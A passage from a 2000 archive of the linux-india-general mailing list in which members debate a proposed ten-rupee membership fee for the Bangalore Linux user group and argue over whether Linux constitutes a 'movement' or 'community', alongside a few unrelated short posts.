meeting might have 15-20 people) we are in danger of crossing the big-C soon, with average attendance never being below 60. We have 300 people on the list, and more and more of them are beginning to attend our meets. And then there are the big events coming up, which draw in people from all over the country.... Such huge numbers bring along their own problems - caterers need to be told numbers *before* the event, sponsors would like to have an idea of what they are dealing with and we (the coordinators of the LUG) need to gauge the profile of the members and what would interest them at meets. At Bang!inux, we had no way of telling the organisers who our members were and how they could be identified - resulting in us not being able to arrange for LUG members to attend some of the sessions. Last year, at IT.COM, we also had no formal way of identifying members, resulting in cheapskates trying to pass themselves off as Linux India members in order to bypass the gate-fee for the exhibition. These are all logistical issues, and for those of you merrily waving your little red flags - big numbers bring big logistical problems, especially for organisers, coordinators, etc. My request for formal membership was based on this, not on the fervent wish (as privately expressed by a few people) of politicising the LUG or "taking advantage of my position" (as one of you so nastily wrote to me). For those of you who did not attend the meet - I proposed a "membership fee" (actually just a payment for covering the cost of printing membership cards) of Rs.10. Yes - that is TEN Rupees, or about $0.25. One time. Period. Any "student" who cannot afford this - I'll be glad to pay it for you. Just let me have your application for financial support in triplicate - each copy handwritten (since you cannot afford carbon paper or xerox). Please note, however, that you will also have to explain to me how you can afford doing any computing when you can't even afford the cost of a floppy disk, let alone a computer. Finally - the comment of "there is no movement" is silly and (frankly speaking) in bad taste, considering the background. If you think that Linux is making it big in India solely because of technical prowess (which it doesn't lack), you really lost track of things. There are hundreds and thousands of people who contribute to this, and if this doesn't justify calling it a movement, I wonder what can. This comment is another example of one man's opinion being liberally rammed down the throat of the others, and I (for one) object to it, because it in one one quick rat-a-tat of words deliberately attempts to marginalise everything that I (and an overwhelming number of others) feel about Linux and the way it is changing a lot of things around us. Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Sun May 28 13:30:06 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id 0DDD738094 for ; Sun, 28 May 2000 13:30:01 -0700 (PDT) Received: from rockford.myip.org ([202.9.147.205]) by eth.net with Microsoft SMTPSVC(5.5.1877.117.11); Mon, 29 May 2000 01:57:01 +0530 Received: from ravi by rockford.myip.org with local (Exim 3.12 #1 (Debian)) id 12w9dK-0000Gn-00 for ; Mon, 29 May 2000 01:56:02 +0530 From: "Ravikant K.Rao" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 29 May 2000 01:55:50 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: In-Reply-To: <20000528191009.A26575@staff.juno.com> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14641.32861.628102.923452@rockford.myip.org> X-Archive-Number: 200005/147 >>>>> "Suresh" == Suresh Ramasubramanian writes: >> Is there a Better Email Client than Kmail available for linux Suresh> X11 - Netscape, Balsa, Tkrat, Ishmail ... take your pick Suresh> of what's on freshmeat. Of the more prominent ones, ... spruce,VM,gnus,... do check out spruce, its light and luser-friendly.. and looks veri-similar to netscape messenger.. --ravi -- Ravikant K.Rao : http://www.symonds.net/~ravi/ Primary Email : | PGP: 9544A4A1 GPG: 1024D/C2FC752D From linux-india-general-owner@lists.linux-india.org Sun May 28 20:35:22 2000 Received: from e1.ny.us.ibm.com (e1.ny.us.ibm.com [32.97.182.101]) by www.aunet.org (Postfix) with ESMTP id D7AFD3808C for ; Sun, 28 May 2000 20:35:16 -0700 (PDT) Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e1.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id XAA394580 for ; Sun, 28 May 2000 23:33:25 -0400 Received: from DemiUrge.in.ibm.com (demiurge.in.ibm.com [9.184.199.132]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.9) with ESMTP id XAA17638 for ; Sun, 28 May 2000 23:35:00 -0400 Received: by DemiUrge.in.ibm.com (Postfix, from userid 1001) id 650A05882D; Mon, 29 May 2000 09:05:11 +0530 (IST) Subject: Re: Formal Member Registration From: Syed Khader Vali URL: http://www.sidcarter.com/ Operating-System: Turing OS XCVII Disclaimer: Not speaking for anyone in any way, shape, or form. Copyright: Copyright 2000 Syed Khader Vali - All Rights Reserved To: linux-india-general@lists.linux-india.org Organization: IBM Global Services - India Reply-To: sidgeek@austin.ibm.com Date: 29 May 2000 09:05:05 +0530 In-Reply-To: Atul Chitnis's message of "Mon, 29 May 2000 01:57:04 +0530 (IST)" Message-ID: <86k8gef2qe.fsf@DemiUrge.in.ibm.com> Lines: 64 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/148 >>>>> On Mon, 29 May 2000 01:57:04 +0530 (IST), Atul Chitnis said: Atul> Khader: it would have helped had you attended the last meet Atul> - a lot more things would have become clearer. Your fear of Atul> "formality" is pretty ridiculous. Well, Maybe I was wrong, depends on what we might be talking. I seriously should have been there. I guess this was the first ILUG meet which I missed in the past one year. :-( ( Kya kare once in a while I have to meet my friends also :-) the whole intention is to keep it informal and make it look formal. Is that possible ? I dunno. Atul> Such huge numbers bring along their own problems - caterers Atul> need to be told numbers *before* the event, sponsors would Atul> like to have an idea of what they are dealing with and we Atul> (the coordinators of the LUG) need to gauge the profile of Atul> the members and what would interest them at meets. But my only question here is what in case we have relatively more number of walk-ins than members ? Then what do we tell the caterers or whoever ? Atul> At Bang!inux, we had no way of telling the organisers who Atul> our members were and how they could be identified - Atul> resulting in us not being able to arrange for LUG members to Atul> attend some of the sessions. Was there a chance like that ? Then I guess I will the first to register :-) Atul> Last year, at IT.COM, we also had no formal way of Atul> identifying members, resulting in cheapskates trying to pass Atul> themselves off as Linux India members in order to bypass the Atul> gate-fee for the exhibition. And one who were really volunteering had to wait for hours together outside because there was no way of identification that they were from the LUG ( which included me :-( So I guess again I will be first for the membership in that case :-) Atul> These are all logistical issues, and for those of you Atul> merrily waving your little red flags - big numbers bring big Atul> logistical problems, especially for organisers, Atul> coordinators, etc. I guess I will not talk much now as I am getting the answers :-) Atul> For those of you who did not attend the meet - I proposed a Atul> "membership fee" (actually just a payment for covering the Atul> cost of printing membership cards) of Rs.10. Yes - that is Atul> TEN Rupees, or about $0.25. One time. Period. Any "student" Well, I guess then ravi can spend it "better " on ... now :-) Thanks Regards - Khader -- I used to have a life once, Now I have a Computer. Syed Khader Vali (Siddiq) - Linux Guy, LCC IBM Global Services , India Work -- sidgeek@austin.ibm.com, skhader@in.ibm.com Play -- sid@sidcarter.com Debian GNU/Linux ( Woody ) http://www.sidcarter.com From linux-india-general-owner@lists.linux-india.org Sun May 28 22:06:36 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id E78A138052 for ; Sun, 28 May 2000 22:06:22 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id KAA04368 for ; Mon, 29 May 2000 10:36:04 +0530 Date: Mon, 29 May 2000 10:36:04 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <86k8gef2qe.fsf@DemiUrge.in.ibm.com> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/149 On 29 May 2000, Syed Khader Vali wrote: > But my only question here is what in case we have relatively more > number of walk-ins than members ? Then what do we tell the caterers or > whoever ? The word "plan" (as in "being prepared for") implies that one knows/guesses ahead, and uses this information to amke sure that things go well. My other suggestion was also straight-forward: a) Walk-ins pay for themselves (unless that meet's sponsor agrees to pay for them). They would have an option of registering as formal LUG members at the meet, so that they are counted the next time. b) Caterers typically can handle upto 20% higher load than predicted, and given an hour's lead time, can rustle up more stuff (which is what they did last Saturday). But they are very unhappy about scenes like this, and there are *no* guarantees that they can do it everytime. God help us if there is a major event taking place at the venue at the same time! > Atul> At Bang!inux, we had no way of telling the organisers who > Atul> our members were and how they could be identified - > Atul> resulting in us not being able to arrange for LUG members to > Atul> attend some of the sessions. > > Was there a chance like that ? Then I guess I will the first to > register :-) Yes, there was a chance, and we muffed it. All of us who were involved in the planning felt miserable about it. > Atul> Last year, at IT.COM, we also had no formal way of > Atul> identifying members, resulting in cheapskates trying to pass > Atul> themselves off as Linux India members in order to bypass the > Atul> gate-fee for the exhibition. > > And one who were really volunteering had to wait for hours together > outside because there was no way of identification that they were > from the LUG ( which included me :-( So I guess again I will be first > for the membership in that case :-) Good supporting point. Because of the lack of any formal identification/accreditation, genuine members had to suffer. As Linux India grows (and it will), other LUGs are going to face similar issues. What I am trying to do is to set up a prototype that can be emulated elsewhere (and suitably modified if required, based on success/failure). The current style of doing things ("let it just be a list") has resulted in fragmentation, alienation and loss of benefits to members, and is slowly beginning to eat into the potential that Linux India holds in changing our country's IT mentality. Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Sun May 28 22:56:02 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id EF0A138059 for ; Sun, 28 May 2000 22:55:54 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id WAA05496 for linux-india-general@lists.linux-india.org; Sun, 28 May 2000 22:55:38 -0700 Date: Sun, 28 May 2000 22:55:38 -0700 From: Arun Sharma To: Linux India General Subject: Re: Formal Member Registration Message-ID: <20000528225538.A5180@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: ; from Atul Chitnis on Mon, May 29, 2000 at 01:57:04AM +0530 X-Archive-Number: 200005/150 On Mon, May 29, 2000 at 01:57:04AM +0530, Atul Chitnis wrote: > Finally - the comment of "there is no movement" is silly and (frankly > speaking) in bad taste, considering the background. If you think that > Linux is making it big in India solely because of technical prowess (which > it doesn't lack), you really lost track of things. You missed the "convenience" part. > There are hundreds and thousands of people who contribute to this, > and if this doesn't justify calling it a movement, I wonder what can. I contribute to an OS, not because of some "movement", but because I like doing something and if it can help others, so be it. After reading the Linux Journal survey of the first 100 people who contributed to "Linux" [1], I can say this was true of most of those 100 people too (the ones who subscribed to Stallmanist view of the world were a clear minority - but the same can't be said of non programmers) > This comment is another example of one man's opinion being liberally > rammed down the throat of the others, I'm just expressing my opinion. Free speech. No force. > and I (for one) object to it, Feel free to. I'll just continue doing this, while sticking to the rules of the list. > because it in one one quick rat-a-tat of words deliberately attempts to > marginalise everything that I (and an overwhelming number of others) > feel about Linux and the way it is changing a lot of things around us. I'm not trying to marginalize anything. Just trying to express my view as a programmer (which ironically needs highlighting). The other views being expressed here are those of ISPs, hardware vendors, consultants, contractors, book vendors, CD vendors, technology samplers, hobbyists, students, alternative media (a la slashdot, technocrat, advogato) and so on. While these people easily outnumber programmers among the linux users (note that notorious absence of the word community), you have to remember that programmers _created_ linux and are central to its success or failure. I'm not saying that other people are marginal or trivial to linux, but am saying that programmers are special. I've made my transition as a linux loving CS student to a UNIX kernel programmer to linux kernel engineer etc and am convinced of the lack of an economic model in the linux world for serious programmers. And if you think again, it's a pretty serious issue, which is not addressed, often ignored and deliberately marginalized by other competing interests. For those of you curious, I've moved over to using FreeBSD, because of my personal beliefs on these issues. I still like parts of Linux technically [2] - but not the dominant political forces (GNU/GPL) [3] around it. My webserver still runs it. I like Linus Torvalds as a person (though I disagree with some of his technical decisions and operating modes). But I don't like the stuff about the "movement" and the "community". Specifically, the relationship between two people who go to, let's say "foo conference or trade show" and people attending a LUG meeting is roughly the same in my book. Adding more colors and weightage to the relationship makes me think of vested interests (which is perfectly fine, as long as it is represented so). To summarize, by all means, have an ILUG, have meetings, talk about Linux. You can do all that without thinking that you're brothers and sisters or revolutionary soldiers in the same army. Remember, if the programmer isn't happy, you get crappy software. Thank you readers, for your attention. -Arun [1] Defining Linux itself has been a very controversial issue. But I recall Atul's mails defining linux along the lines of "a concept, rather than a specific OS", that people get it, when you say "Linux". However, in reality, the term represents a narrow, and subconciously accepted view which can be roughly summarized as "all software should be open source and without restrictions on their use in both original or modified forms, irrespective of the amount of effort put into it". [2] Which is why I continue to read these lists. I say /parts/ of Linux because, I've found significant areas where Linux is not the best freely available code in that area. [3] I've received no personal or professional harm from GNU/GPL for those of you wondering about it. It's just that I can't reconcile the GNU philosophy with my actions. Therefore I can not agree with or advocate the thoughts expressed on gnu.org. From linux-india-general-owner@lists.linux-india.org Sun May 28 23:08:18 2000 Received: from sharmas.dhs.org (c62443-a.frmt1.sfba.home.com [24.0.69.165]) by www.aunet.org (Postfix) with ESMTP id 9C7B038052 for ; Sun, 28 May 2000 23:08:16 -0700 (PDT) Received: (from adsharma@localhost) by sharmas.dhs.org (8.9.3/8.9.3) id XAA05547 for linux-india-general@lists.linux-india.org; Sun, 28 May 2000 23:08:02 -0700 Date: Sun, 28 May 2000 23:08:02 -0700 From: Arun Sharma To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration Message-ID: <20000528230802.B5180@sharmas.dhs.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: <200005281736.XAA07563@cal.vsnl.net.in>; from Indranil Das Gupta on Sun, May 28, 2000 at 10:32:11PM +0530 X-Archive-Number: 200005/151 On Sun, May 28, 2000 at 10:32:11PM +0530, Indranil Das Gupta wrote: > Fine.... if OpenSource movement is no more, and that we are to use > the OS and the s/w, then __who__ is going to continue to develop newer > and better free s/w.... linux included...??? ;-) Open source software can exist and continue to be developed without being called a "movement" or the set of users being called a "community". Note the notorious absence of the use of the word in other free software (they may exist, but not emphasized) - ever heard of "X windows user community or movement" ? Just trying to control paranoia and the religious color being added to a piece of software. The set of linux users come from varied walks of life and different political views. They work together best, when they talk about software, rather than a popular political view. My claim is that "community" and "movement" represent certain narrow political views. It isn't apparent to the casual reader - but if you think carefully, that's exactly what it is. They are very similar to a particular use of the word "free" that's popular here. -Arun PS: Does anyone have a reference to Linus using those words ? From linux-india-general-owner@lists.linux-india.org Sun May 28 23:13:29 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id 6924338052 for ; Sun, 28 May 2000 23:12:46 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id LAA04751 for ; Mon, 29 May 2000 11:42:35 +0530 Date: Mon, 29 May 2000 11:42:35 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Kerala evolving new vistas in e-governance Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/152 Nice writeup on Linux usage in the Kerala Government. http://www.indiaserver.com/thehindu/2000/05/26/stories/0426211w.htm Atul -------------------------------------------------------- Atul Chitnis | achitnis@exocore.com (PGP:6011BCB8) Exocore Consulting | http://www.exocore.com Bangalore, India | +91(80)3440397 Fax +91(80)3341137 -------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Sun May 28 23:43:04 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id D795938080 for ; Sun, 28 May 2000 23:42:35 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id MAA04955 for ; Mon, 29 May 2000 12:12:05 +0530 Date: Mon, 29 May 2000 12:12:05 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <20000528225538.A5180@sharmas.dhs.org> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/153 On Sun, 28 May 2000, Arun Sharma wrote: > To summarize, by all means, have an ILUG, have meetings, talk about > Linux. You can do all that without thinking that you're brothers and > sisters or revolutionary soldiers in the same army. Remember, if the > programmer isn't happy, you get crappy software. Hmmm, Arun, you seem to miss something. I hate to do this, but at times like this, an examples like this (told to me by my father decades ago, when I was a kid growing up in Germany) are warranted: Remember Swami Vivekananda's first speech in the USA? He was the last to speak, and when he started, he said "Brothers and Sisters of America" and brought the house down. He got everyone's attention, and no one forgot him or what he had to say. While you guys there in the USA are clearly shying away from this kind of "relationship building", it is something that plays a major role back home here in India. When people feel that they belong together, they work better together, and achieve more. There is nothing wrong with using this approach - even when it comes to Linux. As I have often said before - Linux is something beyond just an OS or a kernel (they way *you* present it). It is in many ways a figurehead, a rallying point - and if bonding in the name of Linux helps wake up the Windows-enslaved IT world in India, so be it. Rather than knocking it, it would help a lot if you would support it. This is, after all, Linux India. Atul p.s. BTW - I too read that issue of Linux Journal, and my impressions are markedly different, but since that is subject to personal interpretation ("what you want to see" vsersus "what you really see"), there is no point debating it. From linux-india-general-owner@lists.linux-india.org Mon May 29 00:06:56 2000 Received: from internal.palcom.net (unknown [216.6.88.130]) by www.aunet.org (Postfix) with ESMTP id 7552E38075 for ; Mon, 29 May 2000 00:06:31 -0700 (PDT) Received: (from raju@localhost) by internal.palcom.net (8.9.3/8.9.3) id MAA10168; Mon, 29 May 2000 12:36:04 +0530 From: Raju Mathur MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14642.5852.691489.598510@malhaar.internal.palcom.net> Date: Mon, 29 May 2000 12:36:04 +0530 (IST) To: linux-india-general@lists.linux-india.org Subject: Re: Formal Member Registration In-Reply-To: <20000528230802.B5180@sharmas.dhs.org> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid Reply-To: raju@linux-delhi.org X-Archive-Number: 200005/154 Hi Arun, I agree with Atul that Linux is a movement and Linux lovers a community. You made the point yourself: no one calls X users a community or X a movement. However, there are qualities which characterise people who run Linux because they prefer to run it (not including corporates who're just using it because it's the best solution for their problems): - Most are sold to the idea of free software, GNU, GPL, etc. As you said yourself in an earlier mail, you aren't, so you dropped out of the community. Fair enough. - Most are passionately concerned with issues dealing with the privacy of individuals. - Most are willing to spend time, money and energy promoting and advocating their beliefs. MS users don't do that, for instance. - Most are concerned about and willing to act on issues of big business trying to stifle perceived competition. E.g DeCSS, Amazon's new patents, etc. - Most read UserFriendly ;-) This is what I could think about off the top of my head, but even this makes it pretty clear that there is a movement, and the people in that movement do form a community. The same principles applied to the BBS culture in India 6-8 years ago, where each BBS'er found it comfortable to interact with other members of the community, even if s/he didn't know the other from Adam (Eve). In fact, the origins could probably be found in the dope-smoking hippie culture of the 1960's. Unfortunately the hippies managed to dope themselves out of existence, which this particular movement seems to be growing all the time. I can agree with your dropping out of the community, but that doesn't give you the right to claim that there is no community at all. It exists, it's strong and it's growing. Regards, -- Raju >>>>> "Arun" == Arun Sharma writes: Arun> On Sun, May 28, 2000 at 10:32:11PM +0530, Indranil Das Gupta Arun> wrote: >> Fine.... if OpenSource movement is no more, and that we are to >> use the OS and the s/w, then __who__ is going to continue to >> develop newer and better free s/w.... linux included...??? ;-) Arun> Open source software can exist and continue to be developed Arun> without being called a "movement" or the set of users being Arun> called a "community". Arun> Note the notorious absence of the use of the word in other Arun> free software (they may exist, but not emphasized) - ever Arun> heard of "X windows user community or movement" ? Arun> Just trying to control paranoia and the religious color Arun> being added to a piece of software. The set of linux users Arun> come from varied walks of life and different political Arun> views. They work together best, when they talk about Arun> software, rather than a popular political view. Arun> My claim is that "community" and "movement" represent Arun> certain narrow political views. It isn't apparent to the Arun> casual reader - but if you think carefully, that's exactly Arun> what it is. They are very similar to a particular use of the Arun> word "free" that's popular here. Arun> -Arun Arun> PS: Does anyone have a reference to Linus using those words Arun> ? Arun> ----------------------------------------------------------------------- Arun> The LIG mailing list archives are available at: Arun> http://lists.linux-india.org/cgi-bin/wilma/linux-india-general From linux-india-general-owner@lists.linux-india.org Mon May 29 00:36:55 2000 Received: from cal.vsnl.net.in (cal.vsnl.net.in [202.54.9.25]) by www.aunet.org (Postfix) with ESMTP id E378738059 for ; Mon, 29 May 2000 00:36:46 -0700 (PDT) Received: from indradg.cal.vsnl.net.in (ppp116-92.pppcal.vsnl.net.in [203.197.116.92]) by cal.vsnl.net.in (8.9.0/8.9.0) with ESMTP id NAA23646 for ; Mon, 29 May 2000 13:44:02 +0530 (IST) Message-Id: <200005290814.NAA23646@cal.vsnl.net.in> From: "Indranil Das Gupta" To: Subject: Re: Formal Member Registration Date: Mon, 29 May 2000 13:09:58 +0530 X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Archive-Number: 200005/155 In any "movement"/"community" there are (and will be) people who will think differently than the majority... sometimes this very difference can lead to major developments/progress... prehaps that is why in every democratically controlled institution/organisation, the right of a person or a group to profess a different view is protected. You certainly do have a point that Linux users comes from all walks of life and occupational backgrounds, with different levels of interest, aptitude and polital views.... I respect your freedom to think differently/independently... but I find it hard to digest that there is no "movement" or "community" w.r.t to Linux/OSS... Case in hand.... So many ppl from across India came down to B'lore for last year's IT.COM as volunteers and members of LI.... during the 5 days we all spent there, at least speaking for myself, I certainly felt being part of something__ -- certainly not of a boys scout summer camp, but that we were one group, one community (I am not using the term "community" in a loose sense)... the principal underlying binding that held us all together was the technology and the love/fascination/admiration/fanaticsm we shared for it... although the so-called "politics of Linux" was also in evidence. There were so many visitors who were unable to comprehend at first what exactly we were doing if not selling something and who stood amazed when it was explained to them.... Agreed that there should to be no overt politicising or placing an over-emphasis on the political aspects, there is no escaping the fact that even the way you choose to live your life or even do what you do for a living is very much a political statement. If the GNU/GPL is a political statement, by the same yardstick, the FreeBSD license model is as much political as is the proprietory model of s/w licensing.... More than the political equation, I believe it is more a question of ethics and personal choice/convenience/suitability we are dealing with as far as Linux is concerned when we talk of linux users. I don't feel comfortable with the idea that Linux is good but GPL is bad. Sure... GPL does make things a little difficult for ppl/organisations trying to commercially exploit the potentials of Linux... With so much of commercial interest focussed on Linux and open source, IMHO the GPL is very much needed this day, if for nothing else just to make sure that hackers/programmers the very ppl who built it all up continues to have the right to do what they have been doing --> creating s/w, without any hindrance. Technical points aside, IMVHO, its precisely the GPL that makes Linux -- Linux and not FreeBSD! --Indra DISCLAIMER ------------------- I am not an user of *BSD, my meagre ideas about FreeBSD License model is based largely upon what little I have read from the Net and Arun's postings on LIG et. al. Therefore, my understanding of the model may not be all that accurate, in which case I would appreciate if someone (Arun included :) helps me in "getting the proper picture"... From linux-india-general-owner@lists.linux-india.org Mon May 29 01:02:17 2000 Received: from mail.nal.res.in (PPP-91-201.bng.vsnl.net.in [202.54.91.201]) by www.aunet.org (Postfix) with ESMTP id B12053804F for ; Mon, 29 May 2000 01:02:07 -0700 (PDT) Received: from flosolver.nal.res.in (flosolver.nal.res.in [192.168.5.32]) by mail.nal.res.in (8.9.3/8.8.7) with SMTP id NAA07840 for <@mail.nal.res.in:linux-india-general@lists.linux-india.org>; Mon, 29 May 2000 13:37:01 GMT Received: from localhost by flosolver.nal.res.in via ESMTP (940816.SGI.8.6.9/940406.SGI) for id NAA01099; Mon, 29 May 2000 13:29:15 -0700 Date: Mon, 29 May 2000 13:29:15 -0700 From: "T. N. Venkatesh" To: Linux India General Subject: Re: Formal Member Registration Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/156 Arun ... wrote > >I contribute to an OS, not because of some "movement", but because >I like doing something and if it can help others, so be it. After >reading the Linux Journal survey of the first 100 people who contributed . . . What has all this go to do with the Formal registration of Bangalore LUG members ? -------------------- ------------------------ > >While these people easily outnumber programmers among the linux users >(note that notorious absence of the word community), you have to remember >that programmers _created_ linux and are central to its success or failure. >I'm not saying that other people are marginal or trivial to linux, >but am saying that programmers are special. > Just as politicians, managers, cricketeers etc. are all special >programmer to linux kernel engineer etc and am convinced of the lack of an >economic model in the linux world for serious programmers. > >And if you think again, it's a pretty serious issue, which is not addressed, >often ignored and deliberately marginalized by other competing interests. Maybe in the future, most people will write programs themselves and the "serious" programmers will switch to hardware level programming. > >To summarize, by all means, have an ILUG, have meetings, talk about >Linux. Thanks :-) ------------------------------------------------------------------------ T. N. Venkatesh Phone : (Off) 5273351 ext 6591 Scientist, Flosolver Unit 5086591, 5261824 National Aerospace Laboratories (Res) 3486122 Kodihalli Bangalore 560 017 e-mail:tnv@flosolver.nal.res.in INDIA tnv@aero.iisc.ernet.in ----------------------------------------------------------------------- From linux-india-general-owner@lists.linux-india.org Mon May 29 03:09:57 2000 Received: from web209.mail.yahoo.com (web209.mail.yahoo.com [128.11.68.109]) by www.aunet.org (Postfix) with SMTP id EC0C83802E for ; Mon, 29 May 2000 03:09:52 -0700 (PDT) Received: (qmail 12638 invoked by uid 60001); 29 May 2000 10:09:52 -0000 Message-ID: <20000529100952.12637.qmail@web209.mail.yahoo.com> Received: from [202.54.89.136] by web209.mail.yahoo.com; Mon, 29 May 2000 03:09:52 PDT Date: Mon, 29 May 2000 03:09:52 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Re: Formal Member Registration To: Linux India General MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/157 My 2c worth (late as usual): --- Arun Sharma wrote: > I contribute to an OS, not because of some "movement", but because > I like doing something and if it can help others, so be it. . . . > To summarize, by all means, have an ILUG, have meetings, talk about > Linux. You can do all that without thinking that you're brothers and > sisters or revolutionary soldiers in the same army. I have to admit that I use Linux for the same reason, that and the fact that I dislike the way use of M$'s products (some of which are very good) limits my choices. I don't think all software should be GPLed. However, I think the moment I discussed how to inform people of Linux with other Linux users I became part of a "movement". It certainly wasn't a company, a corporation, a co-operative, an association or an organisation. What can you call it other than a "movement" or "community" ? I don't think being a part of the Linux community forces you to subscribe to the political views of the most vocal section of it. I don't think rejecting the GPL forces one to reject the concept of community. The very fact that you posted your opinions to this list makes you a member of the very community you reject. If you think that the Linux Community is being hijacked by GPLites, stand up and represent those members (like me) who aren't interested in politics muddying technical issues. > I'm just expressing my opinion. Free speech. No force. And I have to give you credit for the non-imflammatory manner in which you expressed yourself. regards, Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Mon May 29 04:20:56 2000 Received: from cix.exocore.com (unknown [202.141.1.225]) by www.aunet.org (Postfix) with ESMTP id A44173802E for ; Mon, 29 May 2000 04:20:33 -0700 (PDT) Received: from localhost (achitnis@localhost) by cix.exocore.com (8.9.3/8.8.7) with ESMTP id QAA06477 for ; Mon, 29 May 2000 16:49:47 +0530 Date: Mon, 29 May 2000 16:49:47 +0530 (IST) From: Atul Chitnis To: Linux India General Subject: Re: Formal Member Registration In-Reply-To: <14642.5852.691489.598510@malhaar.internal.palcom.net> Message-ID: Organisation: Exocore Consulting (P) Limited MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Archive-Number: 200005/158 On Mon, 29 May 2000, Raju Mathur wrote: > I can agree with your dropping out of the community, but that doesn't > give you the right to claim that there is no community at all. It > exists, it's strong and it's growing. Zigackly. As a general ramble - I just came back from Germany, and while I was there on holiday, I did manage to catch up with some of the local business folks. My being Indian (and naturally there to rob them all of their jobs, take the food out of the mouth of their children and slit the throat of the Aryan IT empire [ref: "Kinder statt Inder"]), I was naturally eyed with suspicion and deep distrust. So I made sure that I wore my Linux India T-Shirt the next time. That drastically changed the scene, including getting me dinner invites, "hail fellow well met" and lots and lots of conversation. Suddenly, I was one of them. So much for the "no community" business. Another hilarious one was recently during a shoot for a TV channel, where one of the gentlemen mentioned "so you are one of those Linux freaks". Moments later, some of his Linux-loving staff was arguing my case for me.... Communities are formed by like-minded people - people who share something in common (religion, ideas, beliefs, likes/dislikes, etc.). However much the west may try to squish this "unhealthy" bonding - in India, we operate together, rather than follow the relation-shunning isolationist approach so often seen in Europe and the USA. Atul From linux-india-general-owner@lists.linux-india.org Mon May 29 05:32:32 2000 Received: from web204.mail.yahoo.com (web204.mail.yahoo.com [128.11.68.104]) by www.aunet.org (Postfix) with SMTP id 785693802E for ; Mon, 29 May 2000 05:32:28 -0700 (PDT) Received: (qmail 25266 invoked by uid 60001); 29 May 2000 12:32:27 -0000 Message-ID: <20000529123227.25265.qmail@web204.mail.yahoo.com> Received: from [202.54.89.136] by web204.mail.yahoo.com; Mon, 29 May 2000 05:32:27 PDT Date: Mon, 29 May 2000 05:32:27 -0700 (PDT) From: Biju Chacko Reply-To: botsie@mail.com Subject: Linus Vs Tannenbaum Spat To: linux-india-general@lists.linux-india.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Archive-Number: 200005/159 Hi, Anybody know where I can find an archive of the famous (notorious?) Usenet spat between Linus and Andrew Tannenbaum? I'd rather not wade through DejaNews. Thanks, Biju ===== ------------------------------------------------------------ Biju "Botsie" Chacko Murphy's Law of File Transfers: If a file takes more than 30 minutes to download, someone in your house will pick up the phone within the last 15 seconds. __________________________________________________ Do You Yahoo!? Kick off your party with Yahoo! Invites. http://invites.yahoo.com/ From linux-india-general-owner@lists.linux-india.org Mon May 29 05:44:46 2000 Received: from eth.net (unknown [202.9.145.10]) by www.aunet.org (Postfix) with ESMTP id AE84E380B4 for ; Mon, 29 May 2000 05:44:33 -0700 (PDT) Received: from 